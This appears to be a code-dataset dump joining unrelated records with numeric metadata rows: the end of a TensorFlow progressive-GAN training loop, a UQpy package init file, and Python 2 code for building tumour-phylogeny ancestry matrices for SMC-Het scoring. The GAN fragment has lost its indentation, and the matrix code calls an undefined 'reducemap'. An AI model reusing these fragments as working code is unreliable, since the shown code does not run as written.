"./results/" + "phase_4x4_" + str(i) + ".jpg")
print("phase 4x4, iteration: %d, D_loss: %f, G_loss: %f" % (i, D_LOSS, G_LOSS))
# --------------------------------------------------phase 8x8---------------------------------------------------------------------------------------
for i in range(MAX_ITR):
batch, Z = get_batch(data, BATCH_SIZE)
ALPHA = np.reshape(i / MAX_ITR, [1, 1, 1, 1])
sess.run(D_Opt_8, feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
batch, Z = get_batch(data, BATCH_SIZE)
sess.run(G_Opt_8, feed_dict={z: Z, alpha: ALPHA})
if i % 100 == 0:
[D_LOSS, G_LOSS, FAKE_IMGS] = sess.run([D_loss_8, G_loss_8, fake_8],
feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
Image.fromarray(np.uint8((FAKE_IMGS[0, :, :, :] + 1) * 127.5)).save(
"./results/" + "phase_8x8_" + str(i) + ".jpg")
print("phase 8x8 transition, iteration: %d, D_loss: %f, G_loss: %f" % (i, D_LOSS, G_LOSS))
for i in range(MAX_ITR):
batch, Z = get_batch(data, BATCH_SIZE)
ALPHA = np.reshape(1.0, [1, 1, 1, 1])
sess.run(D_Opt_8, feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
batch, Z = get_batch(data, BATCH_SIZE)
sess.run(G_Opt_8, feed_dict={z: Z, alpha: ALPHA})
if i % 100 == 0:
[D_LOSS, G_LOSS, FAKE_IMGS] = sess.run([D_loss_8, G_loss_8, fake_8],
feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
Image.fromarray(np.uint8((FAKE_IMGS[0, :, :, :] + 1) * 127.5)).save(
"./results/" + "phase_8x8_" + str(i) + ".jpg")
print("phase 8x8 transition, iteration: %d, D_loss: %f, G_loss: %f" % (i, D_LOSS, G_LOSS))
# --------------------------------------------------phase 16x16---------------------------------------------------------------------------------------
for i in range(MAX_ITR):
batch, Z = get_batch(data, BATCH_SIZE)
ALPHA = np.reshape(i / MAX_ITR, [1, 1, 1, 1])
sess.run(D_Opt_16, feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
batch, Z = get_batch(data, BATCH_SIZE)
sess.run(G_Opt_16, feed_dict={z: Z, alpha: ALPHA})
if i % 100 == 0:
[D_LOSS, G_LOSS, FAKE_IMGS] = sess.run([D_loss_16, G_loss_16, fake_16],
feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
Image.fromarray(np.uint8((FAKE_IMGS[0, :, :, :] + 1) * 127.5)).save(
"./results/" + "phase_16x16_" + str(i) + ".jpg")
print("phase 16x16, iteration: %d, D_loss: %f, G_loss: %f" % (i, D_LOSS, G_LOSS))
for i in range(MAX_ITR):
batch, Z = get_batch(data, BATCH_SIZE)
ALPHA = np.reshape(1.0, [1, 1, 1, 1])
sess.run(D_Opt_16, feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
batch, Z = get_batch(data, BATCH_SIZE)
sess.run(G_Opt_16, feed_dict={z: Z, alpha: ALPHA})
if i % 100 == 0:
[D_LOSS, G_LOSS, FAKE_IMGS] = sess.run([D_loss_16, G_loss_16, fake_16],
feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
Image.fromarray(np.uint8((FAKE_IMGS[0, :, :, :] + 1) * 127.5)).save(
"./results/" + "phase_16x16_" + str(i) + ".jpg")
print("phase 16x16, iteration: %d, D_loss: %f, G_loss: %f" % (i, D_LOSS, G_LOSS))
# --------------------------------------------------phase 32x32---------------------------------------------------------------------------------------
for i in range(MAX_ITR):
batch, Z = get_batch(data, BATCH_SIZE)
ALPHA = np.reshape(i / MAX_ITR, [1, 1, 1, 1])
sess.run(D_Opt_32, feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
batch, Z = get_batch(data, BATCH_SIZE)
sess.run(G_Opt_32, feed_dict={z: Z, alpha: ALPHA})
if i % 100 == 0:
[D_LOSS, G_LOSS, FAKE_IMGS] = sess.run([D_loss_32, G_loss_32, fake_32],
feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
Image.fromarray(np.uint8((FAKE_IMGS[0, :, :, :] + 1) * 127.5)).save(
"./results/" + "phase_32x32_" + str(i) + ".jpg")
print("phase 32x32 transition, iteration: %d, D_loss: %f, G_loss: %f" % (i, D_LOSS, G_LOSS))
for i in range(MAX_ITR):
batch, Z = get_batch(data, BATCH_SIZE)
ALPHA = np.reshape(1.0, [1, 1, 1, 1])
sess.run(D_Opt_32, feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
batch, Z = get_batch(data, BATCH_SIZE)
sess.run(G_Opt_32, feed_dict={z: Z, alpha: ALPHA})
if i % 100 == 0:
[D_LOSS, G_LOSS, FAKE_IMGS] = sess.run([D_loss_32, G_loss_32, fake_32],
feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
Image.fromarray(np.uint8((FAKE_IMGS[0, :, :, :] + 1) * 127.5)).save(
"./results/" + "phase_32x32_" + str(i) + ".jpg")
print("phase 32x32 transition, iteration: %d, D_loss: %f, G_loss: %f" % (i, D_LOSS, G_LOSS))
# --------------------------------------------------phase 64x64---------------------------------------------------------------------------------------
for i in range(MAX_ITR):
batch, Z = get_batch(data, BATCH_SIZE)
ALPHA = np.reshape(i / MAX_ITR, [1, 1, 1, 1])
sess.run(D_Opt_64, feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
batch, Z = get_batch(data, BATCH_SIZE)
sess.run(G_Opt_64, feed_dict={z: Z, alpha: ALPHA})
if i % 100 == 0:
[D_LOSS, G_LOSS, FAKE_IMGS] = sess.run([D_loss_64, G_loss_64, fake_64],
feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
Image.fromarray(np.uint8((FAKE_IMGS[0, :, :, :] + 1) * 127.5)).save(
"./results/" + "phase_64x64_" + str(i) + ".jpg")
print("phase 64x64 transition, iteration: %d, D_loss: %f, G_loss: %f" % (i, D_LOSS, G_LOSS))
for i in range(MAX_ITR):
batch, Z = get_batch(data, BATCH_SIZE)
ALPHA = np.reshape(1.0, [1, 1, 1, 1])
sess.run(D_Opt_64, feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
batch, Z = get_batch(data, BATCH_SIZE)
sess.run(G_Opt_64, feed_dict={z: Z, alpha: ALPHA})
if i % 100 == 0:
[D_LOSS, G_LOSS, FAKE_IMGS] = sess.run([D_loss_64, G_loss_64, fake_64],
feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
Image.fromarray(np.uint8((FAKE_IMGS[0, :, :, :] + 1) * 127.5)).save(
"./results/" + "phase_64x64_" + str(i) + ".jpg")
print("phase 64x64 transition, iteration: %d, D_loss: %f, G_loss: %f" % (i, D_LOSS, G_LOSS))
# --------------------------------------------------phase 128x128---------------------------------------------------------------------------------------
for i in range(MAX_ITR):
batch, Z = get_batch(data, BATCH_SIZE)
ALPHA = np.reshape(i / MAX_ITR, [1, 1, 1, 1])
sess.run(D_Opt_128, feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
batch, Z = get_batch(data, BATCH_SIZE)
sess.run(G_Opt_128, feed_dict={z: Z, alpha: ALPHA})
if i % 100 == 0:
[D_LOSS, G_LOSS, FAKE_IMGS] = sess.run([D_loss_128, G_loss_128, fake_128],
feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
Image.fromarray(np.uint8((FAKE_IMGS[0, :, :, :] + 1) * 127.5)).save(
"./results/" + "phase_128x128_" + str(i) + ".jpg")
print("phase 128x128 transition, iteration: %d, D_loss: %f, G_loss: %f" % (i, D_LOSS, G_LOSS))
for i in range(MAX_ITR):
batch, Z = get_batch(data, BATCH_SIZE)
ALPHA = np.reshape(1.0, [1, 1, 1, 1])
sess.run(D_Opt_128, feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
batch, Z = get_batch(data, BATCH_SIZE)
sess.run(G_Opt_128, feed_dict={z: Z, alpha: ALPHA})
if i % 100 == 0:
[D_LOSS, G_LOSS, FAKE_IMGS] = sess.run([D_loss_128, G_loss_128, fake_128],
feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
Image.fromarray(np.uint8((FAKE_IMGS[0, :, :, :] + 1) * 127.5)).save(
"./results/" + "phase_128x128_" + str(i) + ".jpg")
print("phase 128x128 transition, iteration: %d, D_loss: %f, G_loss: %f" % (i, D_LOSS, G_LOSS))
if __name__ == "__main__":
train()
| 57.493724
| 157
| 0.523324
| 2,056
| 13,741
| 3.228113
| 0.05107
| 0.045201
| 0.048817
| 0.054241
| 0.859876
| 0.776857
| 0.750188
| 0.704083
| 0.704083
| 0.704083
| 0
| 0.078152
| 0.270868
| 13,741
| 239
| 158
| 57.493724
| 0.58429
| 0.064842
| 0
| 0.702439
| 0
| 0
| 0.082897
| 0.001825
| 0
| 0
| 0
| 0
| 0
| 1
| 0.004878
| false
| 0
| 0.029268
| 0
| 0.034146
| 0.058537
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
a8abc14da1d6f1c009449e36852b6e2e485f8583
| 173
|
py
|
Python
|
src/UQpy/Reliability/TaylorSeries/__init__.py
|
marrov/UQpy
|
b04a267b3080e3d4d38e876547ba0d3b979734f3
|
[
"MIT"
] | 132
|
2018-03-13T13:56:33.000Z
|
2022-03-21T13:59:17.000Z
|
src/UQpy/Reliability/TaylorSeries/__init__.py
|
marrov/UQpy
|
b04a267b3080e3d4d38e876547ba0d3b979734f3
|
[
"MIT"
] | 140
|
2018-05-21T13:40:01.000Z
|
2022-03-29T14:18:01.000Z
|
src/UQpy/Reliability/TaylorSeries/__init__.py
|
marrov/UQpy
|
b04a267b3080e3d4d38e876547ba0d3b979734f3
|
[
"MIT"
] | 61
|
2018-05-02T13:40:05.000Z
|
2022-03-06T11:31:21.000Z
|
from UQpy.Reliability.TaylorSeries.FORM import FORM
from UQpy.Reliability.TaylorSeries.SORM import SORM
from UQpy.Reliability.TaylorSeries.TaylorSeries import TaylorSeries
| 34.6
| 67
| 0.872832
| 21
| 173
| 7.190476
| 0.333333
| 0.15894
| 0.377483
| 0.615894
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.075145
| 173
| 4
| 68
| 43.25
| 0.94375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
a8c2a72724e40e29765b40b6ae352f2dda9fcd81
| 20,594
|
py
|
Python
|
smc_het_eval/make_ad_nvar.py
|
asalcedo31/SMC-Het_Scoring
|
8b072a22eeefa4cbac37b9d22fe732798b62d40a
|
[
"Apache-2.0"
] | 1
|
2020-01-10T00:50:21.000Z
|
2020-01-10T00:50:21.000Z
|
smc_het_eval/make_ad_nvar.py
|
asalcedo31/SMC-Het_Scoring
|
8b072a22eeefa4cbac37b9d22fe732798b62d40a
|
[
"Apache-2.0"
] | null | null | null |
smc_het_eval/make_ad_nvar.py
|
asalcedo31/SMC-Het_Scoring
|
8b072a22eeefa4cbac37b9d22fe732798b62d40a
|
[
"Apache-2.0"
] | null | null | null |
import numpy as np
from SMCScoring import *
from metric_behavior import *
np.set_printoptions(threshold='nan')
def run_case(scenario,nssm):
truth = get_ad('Truth', size_clusters=nssm)
new = get_ad_nvar(scenario,size_clusters=np.repeat(nssm,6))
orig = get_ad(scenario, size_clusters=nssm)
print("truth")
print(truth)
print("orig")
print(orig)
print('new')
print(new)
return new, orig
def test_same(scenario,nssm=2):
print("Testing ", scenario)
new, orig = run_case(scenario,nssm)
if (np.array_equal(new,orig)):
print('Pass')
return('Pass')
else:
print('Fail')
return('Fail')
def get_ad_nvar(scenario, t_ad=None, size_clusters=100, nssms=None, prop_split=0.5, lab=False, extra_prop = 4.0/12.0):
'''Find the ancestry-descendant matrix for the given scenario
Attributes:
:param scenario: string representing the clustering scenario being evaluated
:param t_ad: optional value for the true AD matrix, to avoid comupting it multiple times
'''
if t_ad is None and nssms is None:
# t_ad = np.zeros((np.sum(size_clusters),n_clusters))
# for i in range(n_clusters):
if (lab == True):
labels = range(1,7)
print reduce(lambda x,y: np.concatenate(x,y), map(lambda x: np.repeat(labels[x],size_clusters[x]), range(6)))
t_ad = np.zeros((np.sum(size_clusters)+1,np.sum(size_clusters)+1))
t_ad[np.sum(size_clusters),:np.sum(size_clusters)] = reducemap(lambda x: np.repeat(labels[x],size_clusters[x]), range(6))
t_ad[0:np.sum(size_clusters),np.sum(size_clusters)] = map(lambda x: np.repeat(labels[x],size_clusters[x]), range(6))
else:
t_ad = np.zeros((np.sum(size_clusters),np.sum(size_clusters)))
# t_ad[size_clusters[0]:np.sum(size_clusters[0:2]),:] = 1
t_ad[size_clusters[0]:np.sum(size_clusters[0:2]),np.sum(size_clusters[0:3]):np.sum(size_clusters[0:5])] = 1
t_ad[0:size_clusters[0],size_clusters[0]:] = 1
t_ad[np.sum(size_clusters[0:2]):np.sum(size_clusters[0:3]),np.sum(size_clusters[0:5]):np.sum(size_clusters[0:6])] = 1
# t_ad[size_clusters:2*size_clusters, 3*size_clusters:5*size_clusters] = 2
# t_ad[2*size_clusters:3*size_clusters, 5*size_clusters:6*size_clusters] = 3
if scenario in ["Truth", "SplitClusterBotSame", "MergeClusterBot"]:
return t_ad
elif scenario == "SplitClusterBotDiff":
ad = np.copy(t_ad)
# print(np.sum(size_clusters[0:5])+int(size_clusters[4]/(1/(1-prop_split))))
ad[np.sum(size_clusters[0:5]):np.sum(size_clusters[0:5])+int(size_clusters[5]/(1/(1-prop_split))),np.sum(size_clusters[0:5])+int(size_clusters[5]/(1/(1-prop_split))):np.sum(size_clusters[0:6])] = 1.
#ad[int(5*size_clusters):int(5.5*size_clusters),int(5.5*size_clusters):int(6*size_clusters)] = 1.
return ad
elif scenario == "SplitClusterMidOneChild":
ad = np.copy(t_ad)
ad[np.sum(size_clusters[0:2])+int(size_clusters[2]/(1/(1-prop_split))):np.sum(size_clusters[0:3]),np.sum(size_clusters[0:5]):np.sum(size_clusters[0:6])] = 0
#ad[int(2.5*size_clusters):int(3*size_clusters),5*size_clusters:int(6*size_clusters)] = 0
return ad
elif scenario == "SplitClusterMidMultiChild":
ad = np.copy(t_ad)
ad[np.sum(size_clusters[0:1])+int(size_clusters[1]/(1/(1-prop_split))):np.sum(size_clusters[0:2]),np.sum(size_clusters[0:3]):np.sum(size_clusters[0:5])] = 0
# ad[int(1.5*size_clusters):int(2*size_clusters),3*size_clusters:int(5*size_clusters)] = 0
return ad
elif scenario == "MergeClusterMid&BotOneChild":
ad = np.copy(t_ad)
ad[np.sum(size_clusters[0:2]):np.sum(size_clusters[0:3]), np.sum(size_clusters[0:5]):np.sum(size_clusters[0:6])] = 0
# ad[int(2*size_clusters):int(3*size_clusters), 5*size_clusters:int(6*size_clusters)] = 0
return ad
elif scenario == "MergeClusterMid&BotMultiChild":
ad = np.copy(t_ad)
ad[size_clusters[0]:np.sum(size_clusters[0:2]), np.sum(size_clusters[0:4]):np.sum(size_clusters[0:5])] = 0
ad[np.sum(size_clusters[0:4]):np.sum(size_clusters[0:5]), np.sum(size_clusters[0:3]):np.sum(size_clusters[0:4])] = 1
# ad[int(size_clusters):int(2*size_clusters), int(4*size_clusters):int(5*size_clusters)] = 0
# ad[int(4*size_clusters):int(5*size_clusters), int(3*size_clusters):int(4*size_clusters)] = 1
return ad
elif scenario == "MergeClusterTop&Mid":
ad = np.zeros((np.sum(size_clusters),np.sum(size_clusters)))
ad[0:np.sum(size_clusters[0:2]), np.sum(size_clusters[0:2]):] = 1
ad[np.sum(size_clusters[0:2]):np.sum(size_clusters[0:3]), np.sum(size_clusters[0:5]):] = 1
# ad = np.zeros((6*size_clusters,6*size_clusters))
# ad[0:2*size_clusters, 2*size_clusters:] = 1
# ad[2*size_clusters:3*size_clusters, 5*size_clusters:] = 1
return ad
elif scenario == "ParentIsSibling":
ad = np.copy(t_ad)
ad[np.sum(size_clusters[0:3]):np.sum(size_clusters[0:4]),np.sum(size_clusters[0:4]):np.sum(size_clusters[0:5])] = 1
# ad[3*size_clusters:4*size_clusters,4*size_clusters:5*size_clusters] = 1
return ad
elif scenario == "ParentIsGrandparent":
ad = np.copy(t_ad)
ad[size_clusters[0]:np.sum(size_clusters[0:2]),np.sum(size_clusters[0:4]):np.sum(size_clusters[0:5])] = 0
#ad[size_clusters:2*size_clusters,4*size_clusters:5*size_clusters] = 0
return ad
elif scenario == "ParentIsAunt":
ad = np.copy(t_ad)
ad[size_clusters[0]:np.sum(size_clusters[0:2]),np.sum(size_clusters[0:4]):np.sum(size_clusters[0:5])] = 0
ad[np.sum(size_clusters[0:2]):np.sum(size_clusters[0:3]),np.sum(size_clusters[0:4]):np.sum(size_clusters[0:5])] = 1
# ad[size_clusters:2*size_clusters,4*size_clusters:5*size_clusters] = 0
# ad[2*size_clusters:3*size_clusters,4*size_clusters:5*size_clusters] = 1
return ad
elif scenario == "ParentIsCousin":
ad = np.copy(t_ad)
ad[size_clusters[0]:np.sum(size_clusters[0:2]),np.sum(size_clusters[0:4]):np.sum(size_clusters[0:5])] = 0
ad[np.sum(size_clusters[0:2]):np.sum(size_clusters[0:3]),np.sum(size_clusters[0:4]):np.sum(size_clusters[0:5])] = 1
ad[np.sum(size_clusters[0:5]):np.sum(size_clusters[0:6]),np.sum(size_clusters[0:4]):np.sum(size_clusters[0:5])] = 1
# ad[size_clusters:2*size_clusters,4*size_clusters:5*size_clusters] = 0
# ad[2*size_clusters:3*size_clusters,4*size_clusters:5*size_clusters] = 1
# ad[5*size_clusters:6*size_clusters,4*size_clusters:5*size_clusters] = 1
return ad
elif scenario == "ParentIsSiblingWithChildren":
ad = np.copy(t_ad)
ad[np.sum(size_clusters[0:2]):np.sum(size_clusters[0:3]), range(size_clusters[0],np.sum(size_clusters[0:2]))+range(np.sum(size_clusters[0:3]),np.sum(size_clusters[0:5]))] = 1 #adjust cluster 3's ancestry
# ad[2*size_clusters:3*size_clusters, range(size_clusters,2*size_clusters)+range(3*size_clusters,5*size_clusters)] = 1 #adjust cluster 3's ancestry
return ad
elif scenario == "ParentIsNieceWithChildren":
ad = np.copy(t_ad)
ad[np.sum(size_clusters[0:2]):np.sum(size_clusters[0:3]), range(size_clusters[0],np.sum(size_clusters[0:2]))+range(np.sum(size_clusters[0:3]),np.sum(size_clusters[0:5]))] = 1 #adjust cluster 3's ancestry
ad[np.sum(size_clusters[0:5]):np.sum(size_clusters[0:6]), range(size_clusters[0],np.sum(size_clusters[0:2]))+range(np.sum(size_clusters[0:3]),np.sum(size_clusters[0:5]))] = 1 #adjust cluster 3's ancestry
# ad[2*size_clusters:3*size_clusters, range(size_clusters,2*size_clusters)+range(3*size_clusters,5*size_clusters)] = 1 #adjust cluster 3's ancestry
# ad[5*size_clusters:6*size_clusters, range(size_clusters,2*size_clusters)+range(3*size_clusters,5*size_clusters)] = 1 #adjust cluster 6's ancestry
return ad
elif scenario == "OneCluster":
if nssms is None:
return np.zeros(t_ad.shape)
return np.zeros((nssms,nssms), dtype=np.int8)
elif scenario == "NClusterOneLineage":
# np.triu() returns a copy, this does the triu() in memory instead
# if nssms is None:
# return np.triu(np.ones(t_ad.shape))
ad = np.ones(t_ad.shape, dtype=np.int8)
for i in xrange(t_ad.shape[0]):
for j in xrange(i + 1):
ad[i, j] = 0
return ad
elif scenario == "NClusterTwoLineages":
ad = np.triu(np.ones(t_ad.shape), k=1)
ad[1:np.sum(size_clusters[0:3])+2,np.sum(size_clusters[0:3])+2:] = 0
# ad[2:3*size_clusters+2,3*size_clusters+2:] = 0
return ad
elif scenario == "NClusterCorrectLineage":
ad = np.triu(np.ones(t_ad.shape), k=1)
ad[size_clusters[0]:np.sum(size_clusters[0:2]),range(np.sum(size_clusters[0:2]),np.sum(size_clusters[0:3]))+range(np.sum(size_clusters[0:5]),np.sum(size_clusters[0:6]))] = 0 # equivalent of cluster 2 from true AD matrix
ad[np.sum(size_clusters[0:2]):np.sum(size_clusters[0:3]),np.sum(size_clusters[0:3]):np.sum(size_clusters[0:5])] = 0 # cluster 3 from true AD matrix
ad[np.sum(size_clusters[0:3]):np.sum(size_clusters[0:4]),np.sum(size_clusters[0:4]):] = 0 # cluster 4 from true AD matrix
ad[np.sum(size_clusters[0:4]):np.sum(size_clusters[0:5]),np.sum(size_clusters[0:5]):np.sum(size_clusters[0:6])] = 0 # cluster 5 from true AD matrix
# ad[size_clusters:2*size_clusters,range(2*size_clusters,3*size_clusters)+range(5*size_clusters,6*size_clusters)] = 0 # equivalent of cluster 2 from true AD matrix
# ad[2*size_clusters:3*size_clusters,3*size_clusters:5*size_clusters] = 0 # cluster 3 from true AD matrix
# ad[3*size_clusters:4*size_clusters,4*size_clusters:] = 0 # cluster 4 from true AD matrix
# ad[4*size_clusters:5*size_clusters,5*size_clusters:6*size_clusters] = 0 # cluster 5 from true AD matrix
return ad
if 'Extra' in scenario:
ad = np.copy(t_ad)
# print size_clusters,"\n"
# map(lambda x: sys.stdout.write(str(-round(extra_prop*size_clusters[x]))+" "), range(6))
# num_extra = int(float(extra_prop)*np.sum(size_clusters)/size_clusters.shape[0])
# print "num_extra ", num_extra
if scenario == "SmallExtraNewBot": #clusters 1, 3, and 6 are ancestors to the new extra cluster
range_ones = [range(0,size_clusters[0]) ,range(np.sum(size_clusters[0:2]),np.sum(size_clusters[0:3])),range(np.sum(size_clusters[0:5]),np.sum(size_clusters[0:6])) ] # clusters 1, 3, and 6 will be ancestors to the new extra cluster
if int(round(extra_prop*size_clusters[0])) >0 :
#adjust cluster 1 for mutations lost from cluster 1
range_ones[0] = range(0+int(round(extra_prop*size_clusters[0])), np.sum(size_clusters[0]))
if int(round(extra_prop*size_clusters[2])) >0 :
#adjust cluster 3 for mutations lost from cluster 3
range_ones[1] = range(np.sum(size_clusters[0:2])+int(round(extra_prop*size_clusters[2])), np.sum(size_clusters[0:3]))
if int(round(extra_prop*size_clusters[5])) >0 :
#adjust cluster 6 for mutations lost from cluster 6
range_ones[2] = range(np.sum(size_clusters[0:5])+int(round(extra_prop*size_clusters[5])), np.sum(size_clusters[0:6]))
range_ones = range_ones[0] + range_ones[1]+ range_ones[2]
# print "range\n",range_ones
ad = np.copy(t_ad)
if int(round(extra_prop*size_clusters[0])) >0 :
ad[:,0:int(round(extra_prop*size_clusters[0]))] = 0
ad[range_ones,0: int(round(extra_prop*size_clusters[0]))] = 1
ad[0:int(round(extra_prop*size_clusters[0])),:] = 0
for i in range(1,6):
if int(round(extra_prop*size_clusters[i])) >0 :
ad[:,np.sum(size_clusters[0:i]):int(round(extra_prop*size_clusters[i]))] = 0
ad[range_ones,np.sum(size_clusters[0:i]): np.sum(size_clusters[0:i])+int(round(extra_prop*size_clusters[i]))] = 1
ad[np.sum(size_clusters[0:i]):np.sum(size_clusters[0:i])+int(round(extra_prop*size_clusters[i])),:] = 0
# ad[:,size_clusters*i] = 0
# ad[range(1,size_clusters)+range(size_clusters+1,2*size_clusters)+range(3*size_clusters+1,4*size_clusters),size_clusters*i] = 1
# ad[size_clusters*i,:] = 0
# print(ad)
return ad
elif scenario == "SmallExtraCurBot":
ad = np.copy(t_ad)
range_ones = [range(0,size_clusters[0]) ,range(np.sum(size_clusters[0:2]),np.sum(size_clusters[0:3]))] # clusters 1 and 3 will be ancestors to the new extra cluster
if int(round(extra_prop*size_clusters[0])) >0 :
#adjust cluster 1 for mutations lost from cluster 1
range_ones[0] = range(0+int(round(extra_prop*size_clusters[0])), np.sum(size_clusters[0]))
if int(round(extra_prop*size_clusters[2])) >0 :
#adjust cluster 3 for mutations lost from cluster 3
range_ones[1] = range(np.sum(size_clusters[0:2])+int(round(extra_prop*size_clusters[2])), np.sum(size_clusters[0:3]))
range_ones = range_ones[0] + range_ones[1]
if int(round(extra_prop*size_clusters[0])) >0 :
ad[:,0:int(round(extra_prop*size_clusters[0]))] = 0
ad[range_ones,0:int(round(extra_prop*size_clusters[0]))] = 1
ad[0:int(round(extra_prop*size_clusters[0])),:] = 0
# print "range\n",range_ones
for i in range(1,6):
if int(round(extra_prop*size_clusters[i])) >0 :
# print "start extra: ", np.sum(size_clusters[0:i]), "\n"
# print "end extra: ", np.sum(size_clusters[0:i])+int(round(extra_prop*size_clusters[i])), "\n"
ad[:,np.sum(size_clusters[0:i]): np.sum(size_clusters[0:i])+int(round(extra_prop*size_clusters[i]))] = 0
# print(range(int(round(extra_prop*size_clusters[1])),size_clusters[0])+range(np.sum(size_clusters[0:2])+int(round(extra_prop*size_clusters[1])),np.sum(size_clusters[0:3])))
# range_ones= range_ones+
ad[range_ones,np.sum(size_clusters[0:i]):np.sum(size_clusters[0:i])+int(round(extra_prop*size_clusters[i])) ] = 1
# ad[range(int(round(extra_prop*size_clusters[1])),size_clusters[0])+range(np.sum(size_clusters[0:2])+int(round(extra_prop*size_clusters[1])),np.sum(size_clusters[0:3])),np.sum(size_clusters[0:i])] = 1
ad[np.sum(size_clusters[0:i]): np.sum(size_clusters[0:i])+int(round(extra_prop*size_clusters[i])),:] = 0
# for i in range(0,6):
# ad[:,size_clusters*i] = 0
# ad[range(1,size_clusters)+range(2*size_clusters+1,3*size_clusters),size_clusters*i] = 1
# ad[size_clusters*i,:] = 0
return ad
elif scenario == "SmallExtraMid":
ad = np.copy(t_ad)
ad[:,0:int(round(extra_prop*size_clusters[0]))] = 0
ad[range(int(round(extra_prop*size_clusters[0])),size_clusters[0]),0:int(round(extra_prop*size_clusters[0]))] = 1
ad[0:int(round(extra_prop*size_clusters[0])),:] = 0
for i in range(1,6):
ad[:,np.sum(size_clusters[0:i]):np.sum(size_clusters[0:i])+int(round(extra_prop*size_clusters[i]))] = 0
ad[range(int(round(extra_prop*size_clusters[0])),size_clusters[0]),np.sum(size_clusters[0:i]): np.sum(size_clusters[0:i])+int(round(extra_prop*size_clusters[i]))] = 1
ad[np.sum(size_clusters[0:i]):np.sum(size_clusters[0:i])+int(round(extra_prop*size_clusters[i])),:] = 0
# for i in range(0,6):
# ad[:,size_clusters*i] = 0
# ad[range(1,size_clusters),size_clusters*i] = 1
# ad[size_clusters*i,:] = 0
return ad
elif scenario == 'SmallExtraTop':
ad = np.copy(t_ad)
range_ones=[]
if int(round(extra_prop*size_clusters[0])) >0 :
range_ones = range_ones + range(int(round(extra_prop*size_clusters[0])),size_clusters[0])
else:
range_ones = range(0,size_clusters[0])
for i in range(1,6):
if int(round(extra_prop*size_clusters[i])) >0 :
# print "true", i
range_ones = range_ones + range(np.sum(size_clusters[0:i])+int(round(extra_prop*size_clusters[i])),np.sum(size_clusters[0:i+1]))
else:
range_ones = range_ones + range(np.sum(size_clusters[0:i]),np.sum(size_clusters[0:i+1]))
# print range_ones
if int(round(extra_prop*size_clusters[0])) >0 :
ad[0:int(round(extra_prop*size_clusters[0])),range_ones] = 1
ad[:,0:int(round(extra_prop*size_clusters[0]))] = 0
# range(int(round(extra_prop*size_clusters[0])),size_clusters[0])+
# range(size_clusters[0]+int(round(extra_prop*size_clusters[0])),np.sum(size_clusters[0:2]))+
# range(np.sum(size_clusters[0:2])+int(round(extra_prop*size_clusters[1])),np.sum(size_clusters[0:3]))+
# range(np.sum(size_clusters[0:3])+int(round(extra_prop*size_clusters[2])),np.sum(size_clusters[0:4]))+range(np.sum(size_clusters[0:4])+int(round(extra_prop*size_clusters[3])),np.sum(size_clusters[0:5]))+range(np.sum(size_clusters[0:5])+int(round(extra_prop*size_clusters[4])),np.sum(size_clusters[0:6]))] = 1
# print "range", range_ones
for i in range(1,6):
if int(round(extra_prop*size_clusters[i])) >0 :
ad[:,np.sum(size_clusters[0:i]):np.sum(size_clusters[0:i]) +int(round(extra_prop*size_clusters[i]))] = 0
ad[np.sum(size_clusters[0:i]):np.sum(size_clusters[0:i])+int(round(extra_prop*size_clusters[i])), range_ones] = 1
# range(int(round(extra_prop*size_clusters[0])),size_clusters[0])+
# range(size_clusters[0]+int(round(extra_prop*size_clusters[0])),np.sum(size_clusters[0:2]))+
# range(np.sum(size_clusters[0:2])+int(round(extra_prop*size_clusters[1])),np.sum(size_clusters[0:3]))+
# range(np.sum(size_clusters[0:3])+int(round(extra_prop*size_clusters[2])),np.sum(size_clusters[0:4]))+range(np.sum(size_clusters[0:4])+int(round(extra_prop*size_clusters[3])),np.sum(size_clusters[0:5]))+range(np.sum(size_clusters[0:5])+int(round(extra_prop*size_clusters[4])),np.sum(size_clusters[0:6]))] = 1
# for i in range(0,6):
# ad[:,size_clusters*i] = 0
# ad[size_clusters*i,
# range(1,size_clusters)+
# range(size_clusters+1,2*size_clusters)+
# range(2*size_clusters+1,3*size_clusters)+
# range(3*size_clusters+1,4*size_clusters)+range(4*size_clusters+1,5*size_clusters)+range(5*size_clusters+1,6*size_clusters)] = 1
return ad
else:
raise LookupError("Invalid scenario")
# print("Truth")
# t=get_ad_nvar('Truth',size_clusters=[3,2,3,3,2,2])
# t=get_ad_nvar('Truth',size_clusters=[3,2,0,3])
# print t
# test_same('SplitClusterBotDiff',nssm=3)
